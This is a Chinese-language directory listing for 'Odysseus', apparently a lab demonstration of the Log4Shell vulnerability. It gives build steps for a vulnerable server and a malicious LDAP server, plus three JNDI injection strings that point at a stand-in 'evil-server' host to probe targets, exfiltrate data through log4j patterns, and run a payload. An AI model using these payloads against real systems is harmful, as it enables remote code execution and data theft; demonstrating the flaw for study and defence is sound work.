Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Odysseus — Log4Shell(CVE-2021-44228)漏洞的演示。 | Kitploit
工具/GitHubGitHub/roshanshibu/odysseus
漏洞分析漏洞利用Web应用程序漏洞利用命令与控制学习与教育Payload 开发
GitHubroshanshibu/odysseus

Odysseus

Log4Shell(CVE-2021-44228)漏洞的演示。

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Odysseus

Log4Shell(CVE-2021-44228)漏洞的演示。

构建说明

漏洞Web服务器和恶意LDAP服务器均在JDK 1.8.0_181上构建和测试。

好人 Web 服务器

  1. 在 goodguys 目录内,运行 gradlew bootJar
  2. 使用 java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar 运行漏洞Web服务器

坏人 LDAP/Web 服务器

  1. 在 badguys 目录内,运行 mvn package
  2. 使用 java -jar .\target\evil-server.jar 运行邪恶服务器

注意:Windows Defender 可能会静默地将 target\classes\Exploit.class 移动到隔离区。

恶意负载

恶意命令定义在 Exploit.java 中。

注入触发

输入说明
${jndi:ldap://evil-server-hostname:389/Recon}通过监听对LDAP服务器的连接请求来检查目标是否易受攻击。
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]附加任何有效的 log4j 模式布局,从目标收集数据并在攻击者终端显示。
${jndi:ldap://evil-server-hostname:389/Exploit}运行有效负载。

参考

https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/ https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/

下载工具